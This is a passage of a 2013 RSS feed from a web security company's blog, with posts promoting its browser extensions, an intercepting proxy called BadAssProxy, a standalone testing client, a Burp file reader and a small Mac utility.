&lt;p&gt;User profiles are a very nifty feature in Chrome. By having multiple profiles you can segregate different browsing sessions based on function. For example, you may want to create a separate user profile just for social media applications, another for banking and a default profile for everything else. This not only allows you to organise your browsing habits but also it improves security.&lt;/p&gt;
&lt;p&gt;In order to explain why security is drastically improved by having separate user profiles, imagine that we do all things from the same browser. In one tab we have Facebook or another social media website while in another we are checking our online banking or email. While browsers try to prevent some types of attacks by implementing a security mechanism called &lt;a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Same_origin_policy"&gt;Same Origin Policies&lt;/a&gt; (SOP), it is still possible to use web application vulnerabilities to make an evil application from one tab to access information from an application opened in a complete different tab. What is even worse is that most times you don&amp;#39;t even need to have any applications visibly open in tabs. All is needed is for us to login once and forget to logout.&lt;/p&gt;
&lt;p&gt;Here is a better way to explain this situation. Imagine that we login into our webmail. We check for new emails and we close the tab or we leave it open. We do not perform any logout. Later on we navigate to an evil web site. The evil website is now in a good position to exploit a web vulnerability in our webmail and as such gain access to our emails.&lt;/p&gt;
&lt;p&gt;User profiles enhance the Same Origin Policies (SOP) mechanism by keeping applications separate by function. In other words, if you do banking from one profile and you use it for this purpose only than the chances for getting compromised by another &amp;quot;evil&amp;quot; website, via a web attack, are slim.&lt;/p&gt;
&lt;h4&gt;Installing PanicMode&lt;/h4&gt;
&lt;p&gt;There is another aspect to your browser security that you need to consider and that is that most applications that you will access today are available over unencrypted channels. In other words, if an attacker is observing your network, they will be able to see everything that you are doing online. They will also be able to pretend to be you on web applications that you have logged in. As you can see, this is a serious concern not only from privacy but also from security point of view.&lt;/p&gt;
&lt;p&gt;Here comes &lt;a rel="nofollow" target="_blank" href="https://chrome.google.com/webstore/detail/panic-mode/lamdafciglhnjofdfejeepoemldmblkb"&gt;PanicMode&lt;/a&gt; to the rescue. Once installed and turned-on, PanicMode will revert all non-encrypted traffic to use encryption. This way you can ensure that communication that originates from your browser to your online bank are private and secure. PanicMode is quite harsh as it is completely non-bias and it doesn&amp;#39;t try to improve your browser experience if the sites your are accessing break because they do not support encryption. Non encrypted sites will simply break and you will see the error on the screen.&lt;/p&gt;
&lt;p&gt;This deliberate breaking of insecure websites is not convenient for everyday browsing. If you turn PanicMode on even for 2-3 minutes you will quickly realise how insecure and broken the web really is today. However, breaking insecure but critical web applications is absolutely essential if you care about your security. You simply don&amp;#39;t want to give a chance for the application developer or your browser to make a mistake. Even the tiniest mistakes can be used against you. If I am an attacker sniffing the network typically I only need to capture one insecure/unencrypted request in order to hijack your user account. You don&amp;#39;t want that to happen, do you? Neither do I.&lt;/p&gt;
&lt;p&gt;PanicMode is absolutely free and it is perhaps one of the tiniest extensions in the Chrome Web Store. It is completely unobtrusive and transparent. You don&amp;#39;t have to configure it or do anything special with it. Once installed just turn it on.&lt;/p&gt;
&lt;h4&gt;Other Uses of Profiles&lt;/h4&gt;
&lt;p&gt;User profiles can be used used for all kinds of situations. A developer may want to have a separate profile with just dev extension and relaxed security policies. That is not suitable for everyday browsing.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As a side not, don&amp;#39;t forget to install our free &lt;a rel="nofollow" target="_blank" href="https://chrome.google.com/webstore/detail/websecurify/emclbdbpcnhmopfkidjhlinikkohlkpn"&gt;web application security scanner&lt;/a&gt; for Google Chrome in your development profile.Corporate websites can be accessed from a completely different profile to avoid incidental leakage of sensitive data. Emails, and social media can be all available in their own profiles. You can take this concept as far as you need and install extensions such as &lt;a rel="nofollow" target="_blank" href="https://chrome.google.com/webstore/detail/panic-mode/lamdafciglhnjofdfejeepoemldmblkb"&gt;PanicMode&lt;/a&gt; or &lt;a rel="nofollow" target="_blank" href="https://chrome.google.com/webstore/detail/websecurify/emclbdbpcnhmopfkidjhlinikkohlkpn"&gt;Suite&lt;/a&gt; depending on the purpose.&lt;/p&gt;
&lt;/blockquote&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/03/how-to-improve-your-browser-security-with-panicmode.html</guid>
      </item>
      <item>
         <title>Getting Things Done - Extended Security Reports</title>
         <link>http://blog.websecurify.com/2013/03/getting-things-done-extended-security.html</link>
         <description>&lt;p&gt;This story is not about a new feature in the online &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/"&gt;Suite&lt;/a&gt;. This story is about speed, efficiency and more importantly the commitment that we have made to our customers.&lt;/p&gt;
&lt;p&gt;The story is simple and very familiar. Yesterday, one of our loyal &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/subscriptions"&gt;subscribers&lt;/a&gt; sent us an intriguing email. He has identified some interesting vulnerabilities using both the &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/scanner"&gt;Scanner&lt;/a&gt; and &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/recon"&gt;Recon&lt;/a&gt; tools but he did not know what to do with them. We realised quickly that this is a valid concern and it is something we should improve. Fast forward a couple of hours later, we not only offered our help to manually examine the report and give guidance but also we extended the reporting structure to provide additional information such as description of the impact, proposed solution and links for more information. Check it out:&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;We rolled out the feature in 3 hours from the time we were contacted and that is why we are so proud of the product that we&amp;#39;ve made. It is not only innovative, fast, beautiful and simple but also constantly up-to-date. No release cycles. No waiting. Everything just happens.&lt;/p&gt;
&lt;p&gt;To some this may look like a trivial matter but to our customers it is a big deal especially when you need the much needed support. Software doesn&amp;#39;t have to be difficult, time consuming and static.&lt;/p&gt;
&lt;p&gt;That being said, we have other great features and tools to be realised very soon. To be kept always updated, just follow us on &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/twitter"&gt;twitter&lt;/a&gt;, &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/facebook"&gt;facebook&lt;/a&gt; or &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/plus"&gt;google+&lt;/a&gt;.&lt;/p&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/03/getting-things-done-extended-security.html</guid>
      </item>
      <item>
         <title>LNUG (London Node User Group)</title>
         <link>http://blog.websecurify.com/2013/02/lnug-london-node-user-group.html</link>
         <description>&lt;p&gt;Last month Websecurify presented at the Local &lt;a rel="nofollow" target="_blank" href="http://lnug.org/"&gt;LNUG&lt;/a&gt; (London Node User Group) meeting. Needless to say, it was a blast and we had a lot of fun. The following video is from my presentation, illustrating some of the features of the online &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/"&gt;Suite&lt;/a&gt; and the kind of cool stuff we did with Nodejs.&lt;/p&gt;
 

&lt;p&gt;I am looking forward to attend this meeting again and present what else we did with Nodejs especially around creating custom proxies with the help of &lt;a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/landing-proxify/"&gt;proxify&lt;/a&gt;.&lt;/p&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/02/lnug-london-node-user-group.html</guid>
      </item>
      <item>
         <title>Landing a BadAssProxy</title>
         <link>http://blog.websecurify.com/2013/02/landing-a-badassproxy.html</link>
         <description>&lt;p&gt;We are very happy to announce the first release of &lt;a rel="nofollow" target="_blank" href="http://badassproxy.com/"&gt;BadAssProxy&lt;/a&gt;. The project is hosted by &lt;a rel="nofollow" target="_blank" href="http://gnucitizen.org/"&gt;GNUCITIZEN&lt;/a&gt; but sponsored by us so expect some good things to happen in the near future.&lt;/p&gt;
&lt;h4&gt;What is BadAssProxy (BAP)&lt;/h4&gt;
&lt;p&gt;BadAssProxy is a modern http intercepting proxy designed for developers and web application security professionals. What differentiates this proxy from other proxies is that it is using several interesting techniques for better performance and reliability.&lt;/p&gt;
&lt;p&gt;The proxy employs a multi-process architecture similar to what you have with the Google Chrome web browser. The heavy lifting is performed by our own/GNUCITIZEN proxy utility called &lt;a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/landing-proxify/"&gt;proxify&lt;/a&gt;. The UI is a &lt;a rel="nofollow" target="_blank" href="http://www.html5rocks.com/"&gt;modern web application&lt;/a&gt; running on a web server. The business logic is handled by &lt;a rel="nofollow" target="_blank" href="http://nodejs.org/"&gt;nodejs&lt;/a&gt; while the application is rendered inside an instance of Chromium via &lt;a rel="nofollow" target="_blank" href="https://github.com/rogerwang/node-webkit"&gt;node-webkit&lt;/a&gt;. Everything is assembled in such a way so that all components work seamlessly together.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;This architecture is absolutely deliberate and as a result of years of experience building web application security tools. It is hard to explain why we choose this technology stack but the end product is more than satisfactory. In fact, it is pure awesomeness.&lt;/p&gt;
&lt;p&gt;If this is not enough to make you try BadAssProxy here is something I need to stress to you: it is not written in Java. Most other proxies are, which puts them in a completely different league. BadAssProxy has the potential to go way beyond what is currently possible although we are not there yet.&lt;/p&gt;
&lt;h4&gt;Future Plans&lt;/h4&gt;
&lt;p&gt;At the moment we have a Windows-based proof of concept. Versions for Mac and Linux will follow soon. We are planning to keep this software free for use and support it as much as we can. We are also planning to release a professional version which will pack our own security testing technology and more. This will happen around version 3 as per the current milestones. How fast we will get there depends all on us.&lt;/p&gt;
&lt;p&gt;Additionally, we want to enable the community to extend the product and customise it to their needs. A plugin architecture will follow soon and we promise to make it as simple as possible. It is fair to say that we have big plans for this product and we are certain that we can reinvent and refresh this technology all over again.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Web proxies have been stuck in no-innovation land for long time now and we are determined to change this for good or bad.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;If you have any recommendations, suggestions or even bugs, just get in touch. We are always interested to hear from you.&lt;/em&gt;&lt;/p&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/02/landing-a-badassproxy.html</guid>
      </item>
      <item>
         <title>BadAssProxy and Websecurify Suite</title>
         <link>http://blog.websecurify.com/2013/02/badassproxy-and-websecurify-suite.html</link>
         <description>&lt;p&gt;Needless to say, we are very excited about &lt;a rel="nofollow" target="_blank" href="http://badassproxy.com/"&gt;BadAssProxy&lt;/a&gt;. What we are even more excited about how we are planning to use it to deliver one of the most innovative web application security products of the year (it is only the end of February but we actually believe in this). Everything is neatly illustrated in the following diagram:&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;From the diagram you can see that our online &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/"&gt;Suite&lt;/a&gt; will support BadAssProxy as a frontend, which you can use not only to control the proxy and its capabilities but also launch other tools as the those found in the &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/suite/fuzzers"&gt;Fuzzers&lt;/a&gt; and &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/suite/scanners"&gt;Scanners&lt;/a&gt; categories. This will provide you with a powerful web application security testing environment that goes way beyond what is currently available. Way beyond.&lt;/p&gt;
&lt;p&gt;We have already started implementing the features so stay tuned for more information and updates.&lt;/p&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/02/badassproxy-and-websecurify-suite.html</guid>
      </item>
      <item>
         <title>Websecurify Suite Standalone Client</title>
         <link>http://blog.websecurify.com/2013/01/websecurify-suite-standalone-client.html</link>
         <description>&lt;p&gt;We have prepared something awesome for you. Please allow me to introduce the Websecurify Suite Standalone Client, which you can download from &lt;a rel="nofollow" target="_blank" href="http://code.google.com/p/websecurify/downloads/detail?name=Websecurify%20Suite%201.0.0.exe"&gt;here&lt;/a&gt; (for Windows) and &lt;a rel="nofollow" target="_blank" href="http://code.google.com/p/websecurify/downloads/detail?name=Websecurify%20Suite%201.0.0.dmg"&gt;here&lt;/a&gt; (for Mac OS X). The project is still in beta but it is fully functional.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/suite"&gt;Websecurify Suite&lt;/a&gt; is the first web application security testing environment to work from any standard web browser (Google Chrome and Mozilla Firefox &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/suite/extensions"&gt;supported for now&lt;/a&gt;). This makes it one of the most versatile web application security testing platforms ever created. If that is not enough, now we offer a standalone client, which you can download and use on its own without the need for any browsers. The benefit of this is that you get a dedicated browser-like environment suitable for your web application penetration testing and security needs.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;h4&gt;What is this really about?&lt;/h4&gt;
&lt;p&gt;The Standalone Client is essentially yet another way to get access to the online tools in a easy and distributable way. On the top of that, it is an actual browser, which we assembled specifically for your web security needs. It is easy to use. It exhibits a clean, cut-down user interface. It is based on Firefox. It is perfect for testing and we are planning to make it the easiest browser ever made to tacle your security testing needs. This means that we will build more tools and capabilities into it in the very near future. We have already started building these capabilities into our alpha channels.&lt;/p&gt;
&lt;h4&gt;How does it compare to the browser extensions for Chrome and Firefox?&lt;/h4&gt;
&lt;p&gt;It is a superset of both extensions. For a start, the &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/httpview"&gt;Httpview&lt;/a&gt; utility can capture full body requests and responses. All tools are fully functional and go beyond what they currently do. The added benefit is that the whole application is designed to be used specifically for web security testing and vulnerability discovery.&lt;/p&gt;
&lt;h4&gt;How does it compare to other browsers like Chrome and Firefox?&lt;/h4&gt;
&lt;p&gt;Websecurify Suite standalone client is based on Firefox but without Firefox&amp;#39;s overhead. Most features in Firefox are non-essential and unneeded during the web application security testing process. We did not just took them out of Firefox. We created an entire new browser using Mozilla&amp;#39;s own XUL. We have provided our own components and modules to ease the development. The only thing we have borrowed is Firefox&amp;#39;s platform, also know as Xulrunner. The end result is a browser, which is clean, fast and super easy to extend with well defined set of APIs.&lt;/p&gt;
&lt;h4&gt;What is the current state of the standalone client?&lt;/h4&gt;
&lt;p&gt;It is fully functional and ready to use right now. We will be deploying updates in the very near future to make it even better suited for your security testing needs. Even if you are not using our tools you can still use it for web security penetrating testing because it is fast, lightweight and provides a cut-down user experience.&lt;/p&gt;
&lt;p&gt;We will be very happy if you can provide us with any feedback at this stage.&lt;/p&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/01/websecurify-suite-standalone-client.html</guid>
      </item>
      <item>
         <title>Reading Burp Files From Websecurify Suite</title>
         <link>http://blog.websecurify.com/2013/01/reading-burp-files-from-websecurify-suite.html</link>
         <description>&lt;p&gt;As a technology company we are trying to be as helpful as possible and provide the best possible interoperability with other tools. This is why we created &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/reburp"&gt;Reburp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;As you may have guessed, Reburp allows you to read and use files generated by &lt;a rel="nofollow" target="_blank" href="http://www.portswigger.net/burp/"&gt;Burp&lt;/a&gt;. The user interface reassembles closely &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/httpview"&gt;Httpview&lt;/a&gt; and gives you immediate access to Retest, Resend, Rforge and the rest of the online Suite from the helpful toolbar. Now you can make your crazy workflow a reality.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;Reburp is ideal if you use Burp internally and you want to share vulnerability information and automated test configurations via the Websecurify Suite, which is really better suited for these kinds of things. As long as your dev team has access to the &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/"&gt;Suite&lt;/a&gt; you can just email a link to Retest. This is a much better solution than providing static vulnerability information enclosed in reports. With Retest (acting as a specialist unit testing tool for web security vulnerabilities) you will be automatically able to detect if the issue was fixed properly and therefore saving you time and giving you a level of insurance for job well completed.&lt;/p&gt;
&lt;p&gt;Reburp is still in beta so it is not exposed from the launcher. Give it a try and let us know what you think.&lt;/p&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/01/reading-burp-files-from-websecurify-suite.html</guid>
      </item>
      <item>
         <title>Loading Burp Files Inside Websecurify Suite Video</title>
         <link>http://blog.websecurify.com/2013/01/loading-burp-files-inside-websecurify-suite-video.html</link>
         <description>&lt;p&gt;The video demonstrates the new Suite tool called &lt;a rel="nofollow" target="_blank" href="https://suite.websecurify.com/reburp"&gt;Reburp&lt;/a&gt;, which allows you to load Burp files inside Websecurify. Once loaded, we can use the powerful capabilities of the entire suite. It is quick, easy and always online even when you are offline.&lt;/p&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/01/loading-burp-files-inside-websecurify-suite-video.html</guid>
      </item>
      <item>
         <title>Hide Desktop Icons on Mac OS X</title>
         <link>http://blog.websecurify.com/2013/01/hide-desktop-icons-on-mac-os-x.html</link>
         <description>&lt;p&gt;Today we decided to record a couple of videos demonstrating some of the awesome features that we have delivered with the new &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/suite/extensions"&gt;Firefox and Chrome extensions&lt;/a&gt;. Unfortunately both media Macs, which we usually use for this kind of business, had very cluttered desktops, unsuitable for any sort of screencasting. It is embarrassing.&lt;/p&gt;
&lt;p&gt;For these kinds of problems we have one ingenious solution we invented long time ago, which to our own admissions works extremely well. That is the &amp;quot;Junk&amp;quot; folder. Clearly described in our patent pending application, the Junk folder is a mechanism by which one can clean desktop clutter via drag and drop operations.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;However, we thought why not push the boundaries even further and find a better way to hide the by-product of your endless hours of work in order to record that awesome screencast. So we sat down and wrote &lt;a rel="nofollow" target="_blank" href="http://websecurify.googlecode.com/files/HideDesktop%201.0.dmg"&gt;HideDesktop.app&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel="nofollow" target="_blank" href="http://websecurify.googlecode.com/files/HideDesktop%201.0.dmg"&gt;HideDesktop.app&lt;/a&gt; does only one thing. Once you open the app you will be able to hide/unhide all your desktop icons with a single click from the application menulet, which is sitting unobtrusively in your Mac OS X menu bar. Simple and elegant.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;There you have it. Have a great weekend everyone and a productive week ahead and we hope that our small contribution made your Mac experience a little bit better. Watch out this space for updates. You will learn tones of stuff about web security and who knows, one day we may even rollout an update for &lt;a rel="nofollow" target="_blank" href="http://websecurify.googlecode.com/files/HideDesktop%201.0.dmg"&gt;HideDesktop.app&lt;/a&gt;.&lt;/p&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/01/hide-desktop-icons-on-mac-os-x.html</guid>
      </item>
      <item>
         <title>Blast From The Past - Websecurify For Nodejs</title>
         <link>http://blog.websecurify.com/2013/01/blast-from-past-websecurify-for-nodejs.html</link>
         <description>&lt;p&gt;Years ago we made an attempt to port our &lt;a rel="nofollow" target="_blank" href="http://www.websecurify.com/"&gt;web application security testing framework&lt;/a&gt; to &lt;a rel="nofollow" target="_blank" href="http://www.nodejs.org/"&gt;Nodejs&lt;/a&gt;. This was the time when Nodejs was still young and we were actually writing most of the code in JavaScript. The following screenshots show the product of this experiment.&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=""&gt;&lt;/p&gt;
&lt;p&gt;Things has changed quite a bit since than. We are no longer using the same code-base and we are no longer programming in JavaScript - thanks god for that. Nodejs, however, still looks like a lucrative programming platform although these days we concentrate on supporting browsers.&lt;/p&gt;
&lt;p&gt;In the following months, we will be revising our Nodejs experiments as perhaps there is some merit into replacing the old testing engine with what we have at the moment and come up with a brand new product.&lt;/p&gt;</description>
         <author>pdp</author>
         <guid isPermaLink="false">http://blog.websecurify.com/2013/01/blast-from-past-websecurify-for-nodejs.html</guid>
      </item>
   </channel>
</rss><!-- fe2.yql.bf1.yahoo.com compressed/chunked Thu May 23 06:07:28 UTC 2013 -->
